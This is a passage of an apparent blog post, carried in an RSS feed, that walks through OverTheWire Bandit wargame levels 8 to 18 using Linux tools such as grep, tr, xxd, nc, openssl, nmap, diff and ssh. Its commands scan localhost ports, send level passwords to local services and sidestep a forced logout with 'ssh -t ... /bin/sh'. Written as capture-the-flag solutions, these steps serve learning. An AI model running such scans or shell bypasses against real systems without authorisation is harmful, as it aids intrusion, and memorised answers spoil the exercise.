&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;grep&lt;/code&gt; stands for Global Regular Expression Print, it has options&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-r&lt;/code&gt; or &lt;code&gt;-R&lt;/code&gt; is recursive&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-n&lt;/code&gt; is line number&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-w&lt;/code&gt; stands for match the whole word.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-l&lt;/code&gt; (lower-case L) can be added to just give the file name of matching files&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-e&lt;/code&gt; is the pattern used during the search &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Along with these, &lt;code&gt;--exclude&lt;/code&gt;, &lt;code&gt;--include&lt;/code&gt;, &lt;code&gt;--exclude-dir&lt;/code&gt; flags could be used.&lt;br&gt;
&lt;a href="https://stackoverflow.com/questions/16956810/how-do-i-find-all-files-containing-specific-text-on-linux/34236947#34236947"&gt;&lt;br&gt;
How do I find all files containing specific text on Linux?&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Level 8
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Find the only line of text that occurs only once in data.txt&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sort data.txt | uniq -u
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;sort&lt;/code&gt; command displays contents of data.txt in lexicographical order, and that output is redirected through the &lt;code&gt;pipe&lt;/code&gt; to &lt;code&gt;uniq&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;uniq&lt;/code&gt; isn’t able to detect the duplicate lines unless they are adjacent to each other. The content in the file must be therefore sorted before using &lt;code&gt;uniq&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Whenever we use redirection or piping, the data is sent anonymously, so output doesn't include file name. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;&amp;gt;&lt;/code&gt;, save output to a file.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;, append output to a file.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;&lt;/code&gt;, read input from a file.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;2&amp;gt;&lt;/code&gt;, redirect error messages.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;|&lt;/code&gt;, send the output from one program as input to another program.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://ryanstutorials.net/linuxtutorial/piping.php"&gt;Learn Piping and Redirection&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 9
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Find one of the few human-readable strings in data.txt, preceded by several ‘=’ characters&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;strings data.txt | grep "="
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Simply use &lt;code&gt;grep&lt;/code&gt; on the file will not work in this case, because the file content is a cluster of words with no new lines. &lt;code&gt;strings&lt;/code&gt; command is different to &lt;code&gt;cat&lt;/code&gt; where it ignores blank lines and only prints sequence of 4 or more characters. Try &lt;code&gt;echo abc | strings&lt;/code&gt; on the terminal.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 10
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Decode data.txt, which contains base64 encoded data&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;base64 --decode data.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 11
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;ROT13 ("rotate by 13 places", sometimes hyphenated ROT-13) is a simple letter substitution cipher that replaces a letter with the 13th letter after it in the alphabet. ROT13 is a special case of the Caesar cipher which was developed in ancient Rome.&lt;br&gt;
Because there are 26 letters (2×13) in the basic Latin alphabet, ROT13 is its own inverse; that is, to undo ROT13, the same algorithm is applied, so the same action can be used for encoding and decoding. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Restore data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alias rot13="tr 'A-Za-z' 'N-ZA-Mn-za-m'"
cat data.txt | rot13
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;tr&lt;/code&gt; stands for translate, translating or deleting characters. &lt;code&gt;tr&lt;/code&gt; replaces each letter in set one &lt;code&gt;A-Za-z&lt;/code&gt; for both upper and lower case, with set two, i.e. A will be replaced with N, Z replaced by M and so on.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 12
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Hexdump is a utility that displays the contents of binary files in hexadecimal (Base16), decimal (Base10), octal (Base8), or ASCII. &lt;br&gt;
You can use hexdump to view the contents of a file especially when it contains non printable characters, e.g., an image. Try &lt;code&gt;hexdump --canonical foo.png&lt;/code&gt; on the terminal and see what happens.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Restore the file data.txt, which is a hexdump of a file that has been repeatedly compressed&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat data.txt | xxd -r &amp;gt; data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;xxd&lt;/code&gt; is a Linux command that creates a hexdump for a given file or standard input. It can also convert a hexdump back to its original binary form with the &lt;code&gt;-r&lt;/code&gt; option. Here we are piping the output from &lt;code&gt;cat&lt;/code&gt; to reverse hexdump, and redirect the output to a new file called data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;file&lt;/code&gt; command displays the format of the new file, and in this exercise there are three types of compression formats used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;gzip compressed data, has file extensions &lt;code&gt;.gz&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;POSIX tar archive (GNU), has file extensions &lt;code&gt;.tar&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;bzip2 compressed data, has file extensions&lt;code&gt;.bz&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Depending on what format the &lt;code&gt;file&lt;/code&gt; command tells us the current file is, we need to use the corresponding decompression command. Before we can apply the decompression, the file has to be renamed with the correct file extension. The system can't guess original name for file.&lt;/p&gt;

&lt;p&gt;Take gzip as an example, use &lt;code&gt;mv&lt;/code&gt; to rename file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mv data data.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decompress the data.gz file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gzip -d data.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;gzip replaces the input file with decompressed file, you should see the new file without &lt;code&gt;.gz&lt;/code&gt; extension.&lt;/p&gt;

&lt;p&gt;Repeat the process of &lt;code&gt;file&lt;/code&gt; on decompressed output, until the resulting format is ASCII text (at which point you will see it is a RSA &lt;code&gt;.key&lt;/code&gt; file, you can login with the ssh private key).&lt;/p&gt;

&lt;p&gt;Here are the decompression commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gzip -d file.gz
bzip2 -d file.bz
tar -xf file.tar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://opensource.com/article/19/8/dig-binary-files-hexdump#:~:text=Hexdump%20is%20a%20utility%20that,%2C%20reverse%20engineering%2C%20and%20programming."&gt;How Hexdump Work&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 14
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Submit the password of the current level to port 30000 on localhost&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo password | nc localhost 30000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Netcat (or nc ) is a command-line utility that reads and writes data across network connections, using the TCP or UDP protocols. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can open two terminals, have one listening on port 3000:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc -l 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the other opens a connection to the port:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc localhost 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The two terminals can now communicate freely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 15
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Submit the password of the current level to port 30001 on localhost using SSL encryption&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo password | openssl s_client -ign_eof -connect localhost:30001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;OpenSSL is a general purpose cryptography library that provides an open source implementation of the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols. The Transport Layer Security (TLS) protocol adds a layer of security on top of the TCP/IP transport protocols. &lt;/p&gt;

&lt;p&gt;Transport Layer Security (TLS) is the successor protocol to SSL. TLS is an improved version of SSL. It works in much the same way as the SSL, using encryption to protect the transfer of data and information. The &lt;code&gt;s_client&lt;/code&gt; command implements a generic SSL/TLS client which connects to a remote host using SSL/TLS.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In this level, we are making an encrypted communication through SSL. The &lt;code&gt;-ign_eof&lt;/code&gt; option of &lt;code&gt;s_client&lt;/code&gt; inhibit shutting down the connection when end of file is reached in the input, i.e., after we pressed enter.&lt;/p&gt;




&lt;h2&gt;
  
  
  Level 16
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Submit the password of the current level to a port on localhost in the range 31000 to 32000&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;1.Find which ports are open (have a server listening)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -p 31000-32000 localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;nmap (Network Mapper) is a network scanner, used to discover hosts and services on a computer network by sending packets and analysing the responses.&lt;/p&gt;

&lt;p&gt;Here we performed a port scan (connect to ports) in the specified range of localhost with nmap. &lt;/p&gt;

&lt;p&gt;2.Find which open port has ssl enabled&lt;br&gt;
Run the command on each open port, until one of them returns a RSA key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openssl s_client -connect localhost:port
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can copy and save the key locally in a &lt;code&gt;.key&lt;/code&gt; file, and login to next level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh -i bandit17.key bandit17@bandit.labs.overthewire.org -p 2220
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;3.Resolve ssh "permissions are too open" error&lt;br&gt;
Keys must ONLY be accessible to the user. A quick &lt;code&gt;ls -l&lt;/code&gt; on the key file will show that users(u), group (g), and others (o) all have read permission. You can remove the read permission from group and others:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod g-r bandit17.key &amp;amp;&amp;amp; chmod o-r bandit17.key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or remove all permissions other than user read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod 400 bandit17.key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 17
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Find the only line that has been changed between passwords.old and passwords.new&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;diff passwords.old passwords.new
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;diff&lt;/code&gt; command lets you compare files or directories line by line. To interpret the output from this command&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;&lt;/code&gt; denotes lines from passwords.old&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;gt;&lt;/code&gt; denotes lines from passwords.new&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;42c42&lt;/code&gt; denotes the line number in passwords.old (number on the left) that was changed to the line in passwords.new (number on the right). The letter between the numbers is short for the actions possible on lines (&lt;code&gt;d&lt;/code&gt; stands for deletion, &lt;code&gt;a&lt;/code&gt; stands for adding and &lt;code&gt;c&lt;/code&gt; stands for changing).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To see just the changed line from passwords.new in the output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;diff --changed-group-format='%&amp;gt;' --unchanged-group-format='' passwords.old passwords.new
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Level 18
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Someone has modified .bashrc to log you out when you log in with SSH&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh -t bandit18@bandit.labs.overthewire.org -p 2220 /bin/sh 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ssh&lt;/code&gt; creates a pseudo terminal (pty) on the remote machine, as opposed to a text terminal (tty). The &lt;code&gt;ssh -t&lt;/code&gt; command forces the pty to be open with shell &lt;code&gt;/bin/sh&lt;/code&gt;. Now we can interact with the machine normally and &lt;code&gt;cat readme&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Alternatively, to get the password out in one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh -t bandit18@bandit.labs.overthewire.org -p 2220 "cat ~/readme"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>ctf</category>
      <category>overthewire</category>
      <category>hacking</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
